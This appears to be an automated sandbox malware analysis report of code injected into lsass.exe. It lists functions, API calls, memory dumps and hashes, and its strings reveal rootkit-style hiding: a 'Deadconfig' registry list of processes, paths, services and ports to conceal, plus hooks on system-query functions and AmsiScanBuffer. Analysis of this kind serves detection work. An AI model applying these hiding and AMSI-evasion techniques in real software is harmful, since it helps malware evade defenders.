Instruction Fuzzy Hash: E3E01AB5621A50A7E7299FB6D80C35977E1FB8CF16F58C434C90907320EE3C8499CB10

Analysis Process: lsass.exePID: 628, Parent PID: 6968COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1068
Total number of Limit Nodes:	10

Executed Functions

Function 00000202C0AE2618 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 187
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFileEx.NTDLL ref: 00000202C0AE2693
GetFileType.KERNEL32 ref: 00000202C0AE2701
StrCpyW.SHLWAPI ref: 00000202C0AE271A

Strings

\\.\pipe\, xrefs: 00000202C0AE270C

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: File$DirectoryQueryType
String ID: \\.\pipe\
API String ID: 4175507832-91387939
Opcode ID: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction ID: 4bb1ee494e169a9bb0dd39553ae720c44ae61645b0d4f36c04ca549f0c7bbb34
Opcode Fuzzy Hash: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction Fuzzy Hash: 2E71A0322047C1C6F768DF26989C7EE67A1F389784F460017DF9A57B9ADE34C6298700

Function 00000202C0AE2118 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00000202C0AE2143
StrCmpNIW.SHLWAPI ref: 00000202C0AE21C1

Part of subcall function 00000202C0AE31C0: GetProcessHeap.KERNEL32 ref: 00000202C0AE31E3
Part of subcall function 00000202C0AE31C0: HeapAlloc.KERNEL32 ref: 00000202C0AE31F6
Part of subcall function 00000202C0AE31C0: StrCmpNIW.SHLWAPI ref: 00000202C0AE3277
Part of subcall function 00000202C0AE31C0: GetProcessHeap.KERNEL32 ref: 00000202C0AE32DD
Part of subcall function 00000202C0AE31C0: HeapFree.KERNEL32 ref: 00000202C0AE32EB

Strings

S, xrefs: 00000202C0AE22E8
Dead, xrefs: 00000202C0AE21BA

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFreeInformationQuerySystem
String ID: Dead$S
API String ID: 722747020-3138847638
Opcode ID: 3ae11d13c672a2c15ef8f2c2abe976a7c24bc9e535a720ae25352bb0aded48b2
Instruction ID: bd51ac949b3103490d5ac84b31713adab3a029a4bdcd659ccb33b0369cfc2db0
Opcode Fuzzy Hash: 3ae11d13c672a2c15ef8f2c2abe976a7c24bc9e535a720ae25352bb0aded48b2
Instruction Fuzzy Hash: E251BF33B107A1C6F761CB69988C7AC63A4F704784F469513DFA527B86EB38C969C740

Function 00000202C0AE19D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNELBASE ref: 00000202C0AE19F8
StrCmpNIW.KERNELBASE ref: 00000202C0AE1A12
lstrlenW.KERNEL32 ref: 00000202C0AE1A21
StrCpyW.SHLWAPI ref: 00000202C0AE1A36

Strings

\\?\, xrefs: 00000202C0AE1A06

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction ID: 28a3fedeb60f698bc809e0eb2bb0f963b496928ff1c4be17e8e8c6bc82d8a7ae
Opcode Fuzzy Hash: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction Fuzzy Hash: FEF01963308781D2FB208B25E8DC3AD6260F754BC8F858023DB894695ADE7DC68DCB00

Function 00000202C0AE3618 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000202C0AE3631
PathFindFileNameW.SHLWAPI ref: 00000202C0AE3640

Part of subcall function 00000202C0AE3C70: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE255A), ref: 00000202C0AE3C88

Part of subcall function 00000202C0AE3BB8: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3BC6
Part of subcall function 00000202C0AE3BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3BF4
Part of subcall function 00000202C0AE3BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3C16
Part of subcall function 00000202C0AE3BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3C34
Part of subcall function 00000202C0AE3BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3C55

CreateThread.KERNELBASE ref: 00000202C0AE3687

Part of subcall function 00000202C0AE1D3C: GetCurrentThread.KERNEL32 ref: 00000202C0AE1D47

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction ID: 5e00b56a5011f95b9be4416941bb4109cd76edf14fefd3763ee878413cd918bf
Opcode Fuzzy Hash: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction Fuzzy Hash: 9F119E33618780E1FB60A730A9CD36F2291BB94344F934527ABA6827D3DF7DC02C8600

Function 00000202C0AB2AB8 Relevance: 1.7, APIs: 1, Instructions: 241libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00000202C0AB2C29

Memory Dump Source

Source File: 0000000C.00000003.1777918856.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_202c0ab0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction ID: 129f6654ddf291bfcc02ac597e6e4ba9e63da4c3abc93b6d9266984448174bff
Opcode Fuzzy Hash: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction Fuzzy Hash: 0D910172701390C7FB648F25D08CB6DB7A1F754B98F5681279F4A4778ADA38D84AC704

Function 00000202C0AE1AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000202C0AE1628: GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
Part of subcall function 00000202C0AE1628: HeapAlloc.KERNEL32 ref: 00000202C0AE1642
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA

SleepEx.KERNELBASE ref: 00000202C0AE1AE3

Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction ID: 48f1c9c4e08f8f8a17963c7a05af4dcbaeeea74d55b41f846ca028ac2f06a7b7
Opcode Fuzzy Hash: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction Fuzzy Hash: 5821E0722007A1C1FB509B27D9CD36D53A8AB88FC1F0654239FAE87697FE24C879C210

Non-executed Functions

Function 00000202C0AE81B0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000202C0AE81CC
RtlCaptureContext.NTDLL ref: 00000202C0AE81F9
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AE8213
RtlVirtualUnwind.NTDLL ref: 00000202C0AE8254
IsDebuggerPresent.KERNEL32 ref: 00000202C0AE82A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE82C9
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE82D4

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction ID: 655669d659bb77ae1f59cd8b2a5acccc7e65959268475b5718497181645eae96
Opcode Fuzzy Hash: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction Fuzzy Hash: 37314673205B80CAFB649F60E8983EE6364F798744F45412BDB9E47A9ADF38C648C704

Function 00000202C0AEB62C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000202C0AEB6A5
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AEB6BD
RtlVirtualUnwind.NTDLL ref: 00000202C0AEB6F8
IsDebuggerPresent.KERNEL32 ref: 00000202C0AEB731
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AEB73B
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AEB746

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction ID: 15f99206912596879e935c3c75b41efed11471d7dea19b4e69155ac3cccb53e7
Opcode Fuzzy Hash: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction Fuzzy Hash: F6314B37214B80D6EB60CF25E88879E73A4F788754F550227EB9D47BAADF38C1598B00

Function 00000202C0AF0018 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000202C0AF0087
WriteFile.KERNEL32 ref: 00000202C0AF033E
WriteFile.KERNEL32 ref: 00000202C0AF0390
GetLastError.KERNEL32 ref: 00000202C0AF0492
GetLastError.KERNEL32 ref: 00000202C0AF04F2

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction ID: 5936a836a689bba17aae5a154ffd51961503c81b4dbbf5008d60181b3871c08f
Opcode Fuzzy Hash: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction Fuzzy Hash: 47E1C972B14B80CAF700CB66D4886ED7BB1F344788F118217DF9A57B9ADA39C41AC700

Function 00000202C0ABB150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000202C0ABB180

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 00000202C0ABB503
*?, xrefs: 00000202C0ABB1A7

Memory Dump Source

Source File: 0000000C.00000003.1777918856.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_202c0ab0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 2b9c6a68379746dcfe5f620ac0ed271bb4b3953634cda9960974bdcd68c4b130
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: 9751C172720B94C5FF14CFA6989CAED27A5F758BD8F464523DF1907B86DA78C0498700

Function 00000202C0AE1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
HeapAlloc.KERNEL32 ref: 00000202C0AE1642

Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE127D
Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

Part of subcall function 00000202C0AE1000: GetProcessHeap.KERNEL32 ref: 00000202C0AE1006
Part of subcall function 00000202C0AE1000: HeapAlloc.KERNEL32 ref: 00000202C0AE1015
Part of subcall function 00000202C0AE1000: GetProcessHeap.KERNEL32 ref: 00000202C0AE1028
Part of subcall function 00000202C0AE1000: HeapAlloc.KERNEL32 ref: 00000202C0AE1037

RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA
RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Part of subcall function 00000202C0AE12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE1338
Part of subcall function 00000202C0AE12BC: RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
Part of subcall function 00000202C0AE12BC: HeapFree.KERNEL32 ref: 00000202C0AE1418
Part of subcall function 00000202C0AE12BC: lstrlenW.KERNEL32 ref: 00000202C0AE1421
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE143D

Strings

paths, xrefs: 00000202C0AE1788
process_names, xrefs: 00000202C0AE174D
pid, xrefs: 00000202C0AE1712
SOFTWARE\Deadconfig, xrefs: 00000202C0AE1692
tcp_remote, xrefs: 00000202C0AE1839
tcp_local, xrefs: 00000202C0AE17FE
udp, xrefs: 00000202C0AE1874
startup, xrefs: 00000202C0AE16D5
service_names, xrefs: 00000202C0AE17C3

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3864762265
Opcode ID: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction ID: 75d6cc8a7f60c5d7a0a3abb83b5a96dac93481f8566d0d9967f6edc72b15a74e
Opcode Fuzzy Hash: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction Fuzzy Hash: 2271E577210B50C6FB109F65E8DCA9D27A4FB98F88F4211239B9E47B6ADE39C458C740

Function 00000202C0AE1D3C Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000202C0AE1D47

Part of subcall function 00000202C0AE20C0: GetModuleHandleA.KERNEL32(?,?,?,00000202C0AE1D79), ref: 00000202C0AE20D8
Part of subcall function 00000202C0AE20C0: GetProcAddress.KERNEL32(?,?,?,00000202C0AE1D79), ref: 00000202C0AE20E9

Part of subcall function 00000202C0AE5F50: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5F8B

Strings

NtQueryDirectoryFile, xrefs: 00000202C0AE1DA7
EnumServiceGroupW, xrefs: 00000202C0AE1E18
NtQueryDirectoryFileEx, xrefs: 00000202C0AE1DC4
PdhGetRawCounterArrayW, xrefs: 00000202C0AE1E98
NtQuerySystemInformation, xrefs: 00000202C0AE1D6D
NtResumeThread, xrefs: 00000202C0AE1D8A
NtEnumerateValueKey, xrefs: 00000202C0AE1DFE
AmsiScanBuffer, xrefs: 00000202C0AE1EDA
pdh.dll, xrefs: 00000202C0AE1E9F, 00000202C0AE1EC0
ntdll.dll, xrefs: 00000202C0AE1D55
amsi.dll, xrefs: 00000202C0AE1EE1
sechost.dll, xrefs: 00000202C0AE1E61
EnumServicesStatusExW, xrefs: 00000202C0AE1E39, 00000202C0AE1E5A
advapi32.dll, xrefs: 00000202C0AE1E1F, 00000202C0AE1E40
PdhGetFormattedCounterArrayW, xrefs: 00000202C0AE1EB9
NtDeviceIoControlFile, xrefs: 00000202C0AE1E7E
NtEnumerateKey, xrefs: 00000202C0AE1DE1

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction ID: ab7f1544dc09a014935df39d3da6b105c6b9b77b85d5372d75e804ce5cf0b645
Opcode Fuzzy Hash: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction Fuzzy Hash: D8418AE2111B8AE0FA04EB68E8DE7DC2325A754384F834423A75907177DF79D66EC360

Function 00000202C0AE12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
HeapAlloc.KERNEL32 ref: 00000202C0AE1338
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
HeapFree.KERNEL32 ref: 00000202C0AE1418
lstrlenW.KERNEL32 ref: 00000202C0AE1421
GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
HeapAlloc.KERNEL32 ref: 00000202C0AE143D
StrCpyW.SHLWAPI ref: 00000202C0AE145F
GetProcessHeap.KERNEL32 ref: 00000202C0AE1476
HeapFree.KERNEL32 ref: 00000202C0AE1484

Strings

d, xrefs: 00000202C0AE135A

Memory Dump Source

